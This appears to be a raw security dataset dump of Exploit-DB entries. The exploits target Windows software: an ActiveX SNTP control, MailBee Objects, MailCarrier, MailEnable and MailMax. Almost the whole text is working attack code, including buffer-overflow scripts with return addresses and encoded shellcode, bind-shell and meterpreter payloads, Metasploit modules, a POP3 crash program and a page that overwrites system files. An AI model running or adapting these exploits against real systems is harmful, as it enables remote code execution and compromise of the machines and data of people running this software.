deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12203
Description: MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpGetReply Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-13
Author: s4squatch

Exploit:
<html>
<object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object>
<script language='vbscript'>
'Magneto Software SNTP ActiveX SntpGetReply BOF
'Discovered by:  s4squatch
'Site: www.securestate.com
'File Name = SKSntp.ocx
'www:  http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download:  http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'Function SntpGetReply ( ByVal bstrSntpServer As String ,  ByRef pvarStatus As Variant ,  ByRef varSntpData As Variant ) As Long"
'memberName = "SntpGetReply"
'progid = "SKSNTPLib.SKSntp"
'Tested with IE7 and XPSP3

buff = String(264, "A")													'buff
eip = unescape("%f3%30%9d%7c")									'jmp esp 7c9d30f3 shell32.dll XP SP3
nopsled = String(16, unescape("%90"))

'win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode =	unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
						unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
						unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
						unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
						unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
						unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
						unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
						unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
						unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
						unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
						unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
						unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
						unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
						unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
						unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
						unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
						unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
						unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
						unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
						unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
						unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
						unescape("%50%68")

statics_wet_dream = buff + eip + nopsled + shellcode

arg2="defaultV"
arg3="defaultV"
target.SntpGetReply statics_wet_dream ,arg2 ,arg3

</script>
Exploit-DB #4999
Description: MailBee Objects 5.5 - 'MailBee.dll' Remote Insecure Method
Type: remote
Platform: windows
Date: 2008-01-28
Author: darkl0rd

Exploit:
<body bgcolor="#000000">

<div align="center">

<pre><code><span style="font: 10pt verdana;"><font color="#00FF00">=======================================================================</font>
</div><center>
 <font face="Verdana" color="#00FF00"><b>MailBee Objects v5.5 (MailBee.dll) Insecure Method</b><br>
 Web site : <a href="http://www.afterlogic.com/"><font color="#00FF00">http://www.afterlogic.com/</font></a></font><br><font face="Verdana" color="#00FF00">
=======================================================================</font><font face="Verdana" color="#00FF00">
 </font></span><font color="#00FF00"><br><span style="font-style:normal; font-variant:normal; font-size:10pt; font-family:Verdana; font-weight:700">Author: darkl0rd
 <br>E-mail: l_l_darkl0rd_l_l@yahoo.com</span></font><br><font color="#00FF00"><span style="font-style:normal; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Verdana">
 Tested on Windows XP Professional SP2 , with Internet Explorer 6
</span></font></center>

<div align="left"><font color="#00FF00"><object classid='clsid:0A83F9E1-A8DD-459F-B98F-24295345AFA8' id='los'></object></font>
<object classid='clsid:4D007FEC-23CA-4DEF-869A-8776FAE266DB' id='over'></object>
</div><div align="center"><br><font color="#00FF00" face="Verdana">Save Files</font>
</div><center><span style="font: 10pt verdana;"><input language=VBScript onclick=evil() type=button value="Exploit [1]"></span>&nbsp;<font face="verdana" size="2" color="#00FF00"><br>Creat Files</font></center>
<center><input language=VBScript onclick=nice() type=button value='Exploit [2]'></center>
d'/<script language='vbscript'>
 Sub evil
   los.SaveToDisk ("c:\Windows\"),"system.ini"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
 Sub nice
   mystr="start"
   over.AddStringToFile "c:\darkl0rd.bat" ,mystr
   MyMsg = MsgBox("Exploit completed!")
  End Sub
</script>
</span></code></pre>

# milw0rm.com [2008-01-28]
Exploit-DB #46699
Description: MailCarrier 2.51 - POP3 'USER' Buffer Overflow
Type: remote
Platform: windows
Date: 2019-04-15
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - Remote Buffer Overflow in "USER" command(POP3)
# Date: 14/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the Telspace Internship 2019 - Vanilla EIP Overwrite
# POC
# 1.) Change ip and port in code
# 2.) Run script against target, meterpreter bind shell waiting for you on port 443 on the target machine
# 0x1b023059 : push esp # ret 0x10 | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.9514.0 (C:\WINDOWS\system32\msjet40.dll)
# Badchars \x00\xd9

import sys
import socket
import time

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -b "\x00\xd9" -f c
shellcode = ("\x29\xc9\x83\xe9\xb2\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x44\x9b\x1b\x0b\x83\xee\xfc\xe2\xf4\xb8\x73\x99\x0b\x44\x9b"
"\x7b\x82\xa1\xaa\xdb\x6f\xcf\xcb\x2b\x80\x16\x97\x90\x59\x50"
"\x10\x69\x23\x4b\x2c\x51\x2d\x75\x64\xb7\x37\x25\xe7\x19\x27"
"\x64\x5a\xd4\x06\x45\x5c\xf9\xf9\x16\xcc\x90\x59\x54\x10\x51"
"\x37\xcf\xd7\x0a\x73\xa7\xd3\x1a\xda\x15\x10\x42\x2b\x45\x48"
"\x90\x42\x5c\x78\x21\x42\xcf\xaf\x90\x0a\x92\xaa\xe4\xa7\x85"
"\x54\x16\x0a\x83\xa3\xfb\x7e\xb2\x98\x66\xf3\x7f\xe6\x3f\x7e"
"\xa0\xc3\x90\x53\x60\x9a\xc8\x6d\xcf\x97\x50\x80\x1c\x87\x1a"
"\xd8\xcf\x9f\x90\x0a\x94\x12\x5f\x2f\x60\xc0\x40\x6a\x1d\xc1"
"\x4a\xf4\xa4\xc4\x44\x51\xcf\x89\xf0\x86\x19\xf3\x28\x39\x44"
"\x9b\x73\x7c\x37\xa9\x44\x5f\x2c\xd7\x6c\x2d\x43\x64\xce\xb3"
"\xd4\x9a\x1b\x0b\x6d\x5f\x4f\x5b\x2c\xb2\x9b\x60\x44\x64\xce"
"\x61\x4f\xc2\x4b\xe9\xb9\xf1\x1a\x61\x46\xf3\xf1\x04\x9b\x7b"
"\xe4\xde\xd3\xf3\x19\x0b\x45\x20\x92\xed\x2e\x8b\x4d\x5c\x2c"
"\x59\xc0\x3c\x23\x64\xce\x8e\x84\xee\x43\x5c\x2c\x2c\xf2\x33"
"\xbb\x64\xce\x5c\x2c\xef\xf7\x30\xa5\x64\xce\x5c\xd3\xf3\x6e"
"\x65\x09\xfa\xe4\xde\x2e\x9b\x71\x0f\x12\xcc\x73\x09\x9d\x53"
"\x44\xf4\x91\x18\xe3\x0b\x3a\xb6\x90\x3d\x2e\xdb\x73\x0b\x54"
"\x9b\x1b\x5d\x2e\x9b\x73\x53\xe0\xc8\xfe\xf4\x91\x08\x48\x61"
"\x44\xcd\x48\x5c\x2c\x99\xc2\xc3\x1b\x64\xce\x88\xbc\x9b\x65"
"\x0c\x45\x58\x32\xcd\x31\x72\xd8\xb0\xb4\x2e\xb9\x5d\x2e\x9b"
"\x48\xf4\x91\x9b\x1b\x0b")

buffer = "A" * 5094 + "\x59\x30\x02\x1b" + "\x90" * 20 + shellcode + "C" * (882-len(shellcode))

print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
s.send('USER ' + buffer + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, but if you get here the exploit failed!"
Exploit-DB #16781
Description: MailEnable - Authorisation Header Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-07
Author: Metasploit

Exploit:
##
# $Id: mailenable_auth_header.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /MailEnable/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MailEnable Authorization Header Buffer Overflow',
			'Description'    => %q{
					This module exploits a remote buffer overflow in the MailEnable web service.
				The vulnerability is triggered when a large value is placed into the Authorization
				header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
				MailEnable Professional versions prior to 1.55 are affected.
			},
			'Author'         => 'David Maciejak <david.maciejak[at]kyxar.fr>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9719 $',
			'References'     =>
				[
					['CVE',   '2005-1348'],
					['OSVDB', '15913'],
					['OSVDB', '15737'],
					['BID',   '13350'],
					['NSS',   '18123'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x0d\x0a"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 24 2005'))
	end

	def check
		info = http_fingerprint  # check method
		if (info =~ /MailEnable/)
			return Exploit::CheckCode::Appears
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')

		send_request_raw(
			{
				'headers' => { 'Authorization' => buffer }
			}, 2)

		handler
		disconnect
	end

end
Exploit-DB #16480
Description: MailEnable - IMAPD W3C Logging Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: mailenable_w3c_select.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MailEnable IMAPD W3C Logging Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the W3C logging
				functionality of the MailEnable IMAPD service. Logging is
				not enabled by default and this exploit requires a valid
				username and password to exploit the flaw. MailEnable
				Professional version 1.6 and prior and MailEnable Enterprise
				version 1.1 and prior are affected.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2005-3155'],
					[ 'OSVDB', '19842'],
					[ 'BID', '15006'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
				],
			'DisclosureDate' => 'Oct 03 2005',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		buf = rand_text_alphanumeric(6196, payload_badchars)
		seh = generate_seh_payload(target.ret)
		req = 'a01 SELECT ' + buf + seh + "\r\n"
		sock.put(req)

		handler
		disconnect
	end

end
Exploit-DB #22023
Description: MailEnable 1.501x - Email Server Buffer Overflow
Type: remote
Platform: windows
Date: 2002-11-18
Author: redsand

Exploit:
// source: https://www.securityfocus.com/bid/6197/info

A buffer overflow vulnerability has been reported for MailEnable's POP3 server. The vulnerability is due to insufficent bounds checking of the USER login field.

An attacker can exploit this vulnerability by connecting to a vulnerable MailEnable server and sending an overly long string as the value for the USER login prompt. This will trigger the buffer overflow condition. 

/*
*
* Written by redsand
* <redsand@redsand.net>
* Vuln. date found: November 18. 2002
* Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
*
* Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is in the #define (port 110)
* Need to Enable [offset] in final release.
*
* Proof of Concept code (PoC)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 110

char string[2010];
char death[2500];
char top[5], end[50];
char tag[] = "::redsand.net::";

int main(int argc, char *argv[]) {

  int sockfd, port, i;
  char buf[2500];
  struct hostent *ha;
  struct sockaddr_in sa;
  if (argc < 2 ) {
printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at> redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
if (argv[2]) {
port = atoi(argv[2]);
} else { port = PORT; }
for( i = 0; i <2009; i++) {
string[i] = 'A';
}

strcpy(top,"USER ");
strcpy(end,tag);
strcpy(death,top);
strcat(death,string);
strcat(death,end);

  if (!(ha = gethostbyname (argv[1])))
    perror ("gethostbyname");

  bzero (&sa, sizeof (sa));
  bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
  sa.sin_family = ha->h_addrtype;
  sa.sin_port = htons (port);

  if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
    perror ("socket");
    exit (1);
  }
 printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
  if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    perror ("connect");
    exit (1);
  }
  printf("+ connected\n+ sending request to pop3 server\n");
  send(sockfd, death, sizeof(death), 0);
  // read(sockfd, buf, 2050, 0);
    close(sockfd);
  printf("+ finished\n");
  printf("\r\rIf exploit worked, then it should bind port on 3879\n");
}

/* redsand.net */
Exploit-DB #16485
Description: MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: mailenable_status.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
			'Description'    => %q{
					MailEnable's IMAP server contains a buffer overflow
				vulnerability in the STATUS command. With proper
				credentials, this could allow for the execution of arbitrary
				code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2005-2278'],
					[ 'OSVDB', '17844'],
					[ 'BID', '14243'],
					[ 'NSS', '19193'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['MailEnable 1.54 Pro Universal',  { 'Rets' =>  [9273, 0x1001c019] }], #MEAISP.DLL
					['Windows XP Pro SP0/SP1 English', { 'Rets' =>  [9273, 0x71aa32ad] }],
					['Windows 2000 Pro English ALL',   { 'Rets' =>  [9273, 0x75022ac4] }],
					['Windows 2003 Server English',    { 'Rets' =>  [9273, 0x7ffc0638] }],
				],
			'DisclosureDate' => 'Jul 13 2005',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		seh = generate_seh_payload(target['Rets'][1])
		buf = rand_text_alphanumeric(target['Rets'][0])
		req = "a001 STATUS \".\x00" + buf + seh
		req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
		sock.put(req)

		handler
		disconnect
	end

end
Exploit-DB #16475
Description: MailEnable IMAPD Professional (2.35) - Login Request Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: mailenable_login.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MailEnable IMAPD (2.35) Login Request Buffer Overflow',
			'Description'    => %q{
					MailEnable's IMAP server contains a buffer overflow
				vulnerability in the Login command.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-6423'],
					[ 'OSVDB', '32125'],
					[ 'BID', '21492'],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051229.html'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MailEnable 2.35 Pro',  { 'Ret' =>  0x10049abb } ], #MEAISP.DLL
				],
			'DisclosureDate' => 'Dec 11 2006',
			'DefaultTarget' => 0))

		register_options( [ Opt::RPORT(143) ], self.class )
	end

	def exploit
		connect

		auth	=   "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
		sploit	=   rand_text_alpha_upper(556) + [target.ret].pack('V')
		sploit	<<  payload.encoded + "\r\n\r\n"

		res = sock.recv(50)
			if ( res =~ / OK IMAP4rev1/)
				print_status("Trying target #{target.name}...")
				sock.put(auth)
				sock.get_once(-1, 3)
				sock.put(sploit)
			else
				print_status("Not running IMAP4rev1...")
			end

		handler
		disconnect
	end

end
Exploit-DB #18683
Description: MailMax 4.6 - POP3 'USER' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2012-03-30
Author: localh0t

Exploit:
#!/usr/bin/python

# MailMax <=v4.6 POP3 "USER" Remote Buffer Overflow Exploit (No Login Needed)
# Newer version's not tested, maybe vulnerable too
# A hard one this, the shellcode MUST be lowercase. Plus there are many opcode's that break 
# the payload and opcodes that gets changed, like "\xc3" gets converted to "\xe3", and "\xd3" gets converted to "\xf3"
# written by localh0t
# Date: 29/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
# Tested on: Windows XP SP3 Spanish (No DEP)
# Targets: Windows (All) (DEP Disabled)
# Shellcode: Bindshell on port 4444 (Change as you wish) (Lowercase Only, use EBX as baseaddr)

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
	print "\nMailMax <=v4.6 POP3 \"USER\" Remote Buffer Overflow Exploit (No Login Needed)"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)

buffer = "USER "
buffer += "A" * 1439 # padding
buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes)
buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll
buffer += "\x90" * 8 # nops (just to be sure)

# popad's, so esp => shellcode
buffer += "\x61" * 145
# nop's to align
buffer += "\x90" * 11
# and ebx,esp
buffer += "\x21\xe3" 
# or ebx,esp
buffer += "\x09\xe3" 
# at this point, ebx = esp. The shellcode is lowercase (with numbers), baseaddr = EBX
buffer += ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj0204c40jxo2925k3fjeok95718gk20bn8434k6dmcoej2jc3b0164k82bn9455x3bl153l87g7143n3jgox41l81f31lgox5eog2dm8k5831d345f1kj9nb0491j0959ekx4c[PII_REDACTED]2e7g828ko45xn94dn32dm2915kkgo385132e8g15mk34k2347koe0b2x0b3xlf3docn8kfj0428f591b3ck33530n0o16eo93191942kl53fnbn8o3jk1k907xjc085eo89k4b1f6dj145l4949k1338931e4bo3lkox415g2ko03e6c44943g83jg3169k02dm0nf382gn3n9j9l18433410k3cn29e70kk0e2cjcn94k91k1mxm9310839kf34mg0d0k846eoe8kmc7gj843nemkn1ld234323l9787f623f3f6199823kox0xok492890nclkn3895510j2je945982745c6c981e954g748enx7dlfl419k01914745b08og8ej03xkcj3540b4045k481jg834872lk3gm420jd241e5fkc4co8729948k0md98o27b625e893b6co54f426c3d9k8c7kn853905e48kf699d7f22oe6xn02gjx00jc188g58l4k5mf850e7e9479l8086bjd09lxnb70384d0e8elfoc938k3cm3j27cm335403b794f9b6el")

buffer += "\x90" * 2000
buffer += "\r\n"
print "[!] Sending exploit..."
sock.send(buffer)
sock.close()
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])
sys.exit()